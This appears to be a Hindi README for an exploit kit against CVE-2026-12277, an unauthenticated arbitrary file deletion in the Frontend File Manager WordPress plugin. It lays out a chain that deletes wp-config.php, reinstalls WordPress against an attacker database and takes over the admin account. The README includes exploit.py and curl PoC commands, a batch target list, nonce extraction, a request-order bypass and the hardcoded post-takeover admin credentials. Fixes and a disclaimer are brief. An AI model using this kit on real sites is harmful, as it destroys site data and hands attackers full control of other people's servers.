
Frontend File Manager Plugin (WordPress) <= 23.6 - बिना प्रमाणीकरण के मनमाना फ़ाइल विलोपन से RCE
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-12277 |
| प्लगइन | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| प्रभावित | <= 23.6 |
| प्रकार | बिना प्रमाणीकरण के मनमाना फ़ाइल विलोपन |
| CVSS | 8.7 (उच्च) |
| CWE | CWE-73 (फ़ाइल नाम या पथ का बाहरी नियंत्रण) |
| पूर्वापेक्षा | अतिथि अपलोड मोड सक्षम |
| पैच | कोई नहीं (जुलाई 2026 तक) |
| शोधकर्ता | Chamseddine Bouzaiene |
प्लगइन अपलोड की गई फ़ाइलों के पथ को पोस्ट मेटाडेटा (wpfm_dir_path) में संग्रहीत करता है। wpfm_file_meta_update AJAX एंडपॉइंट:
files.php में पंक्तियाँ 769-771)nopriv के रूप में पंजीकृत है (बिना प्रमाणीकरण के सुलभ)unset($_REQUEST['wpfm_dir_path']) सुरक्षा को PHP request_order की खामियों के माध्यम से दरकिनार किया जा सकता है (क्वेरी स्ट्रिंग के माध्यम से भेजना)जब wpfm_delete_file को कॉल किया जाता है, यह पोस्ट मेटा से wpfm_dir_path पढ़ता है और बिना किसी पथ सत्यापन के unlink() को कॉल करता है।
| AJAX क्रिया | nonce आवश्यक | प्रमाणीकरण आवश्यक | nopriv |
|---|---|---|---|
wpfm_file_meta_update | नहीं (टिप्पणी की गई) | नहीं | हाँ (हमेशा) |
wpfm_delete_file | हाँ | नहीं | हाँ (हमेशा) |
wpfm_upload_file | हाँ | नहीं | हाँ (यदि अतिथि अपलोड चालू है) |
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover
| फ़ाइल | विवरण |
|---|---|
exploit.py | पूर्ण Python शोषण (पता लगाना → शोषण → अधिग्रहण) |
poc_curl.sh | Bash/curl PoC (Linux) |
poc_curl.ps1 | PowerShell/curl PoC (Windows) |
lists.txt | लक्ष्य URL (प्रति पंक्ति एक, बैच मोड के लिए) |
requirements.txt | Python निर्भरताएँ |
# Install dependencies
pip install -r requirements.txt
# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Detection only
python exploit.py -u http://target.com --detect-only
# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Custom attacker DB config
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
शोषण सफल होने के बाद, WordPress व्यवस्थापक में लॉगिन करें:
URL: http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| तर्क | आवश्यक | विवरण |
|---|---|---|
-u, --url | हाँ | लक्ष्य WordPress URL |
-p, --path | नहीं | सर्वर पर wp-config.php का पूर्ण पथ |
--nonce | नहीं | AJAX nonce (स्वतः निष्कर्षण छोड़ें) |
--dbname | नहीं | हमलावर डेटाबेस नाम (डिफ़ॉल्ट: wp_pwned) |
--dbuser | नहीं | हमलावर डेटाबेस उपयोगकर्ता (डिफ़ॉल्ट: root) |
--dbpass | नहीं | हमलावर डेटाबेस पासवर्ड |
--dbhost | नहीं | हमलावर डेटाबेस होस्ट (डिफ़ॉल्ट: localhost) |
--proxy | नहीं | HTTP प्रॉक्सी (जैसे, http://127.0.0.1:8080) |
--timeout | नहीं | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 15) |
--detect-only | नहीं | केवल भेद्यता का पता लगाएं, शोषण न करें |
शोषण स्वचालित रूप से wpfm_ajax_nonce खोजता है:
/file-manager/, /upload/, /files/, /file-upload/, आदि।/file-manager.php/wp-json/)nonce एक छिपे हुए इनपुट फ़ील्ड के रूप में दिखाई देता है:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
या स्थानीयकृत JavaScript में:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
कोड सीधे अधिलेखन को रोकने के लिए unset($_REQUEST['wpfm_dir_path']) करता है। बाइपास:
क्वेरी स्ट्रिंग इंजेक्शन: अन्य डेटा POST बॉडी के माध्यम से भेजते हुए wpfm_dir_path को URL क्वेरी पैरामीटर के माध्यम से भेजें। PHP का $_REQUEST विलय व्यवहार request_order कॉन्फ़िगरेशन के आधार पर मान को बनाए रखने की अनुमति देता है।
अपलोड प्रवाह के दौरान पूर्व-सेट: wpfm_dir_path मेटा प्रारंभिक फ़ाइल अपलोड हुक के दौरान सेट किया जाता है। यदि उस चरण में शोषण किया जाए, तो किसी बाइपास की आवश्यकता नहीं है।
| घटक | संस्करण |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| प्लगइन | Frontend File Manager 23.6 |
| OS | Windows (XAMPP) / Linux |
| परिणाम | पूर्ण अधिग्रहण की पुष्टि हुई |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // from wpfm_dir_path meta - NO VALIDATION
if (file_exists($file_path)) {
unlink($file_path); // ARBITRARY FILE DELETION
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // NO canonicalization, NO realpath check
}
wpfm_file_meta_update में nonce सत्यापन को टिप्पणी से हटाएंrealpath() + उपसर्ग जाँच का उपयोग करके अपलोड निर्देशिका के विरुद्ध wpfm_dir_path को सत्यापित करेंयह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। परीक्षण से पहले हमेशा लिखित अनुमति प्राप्त करें।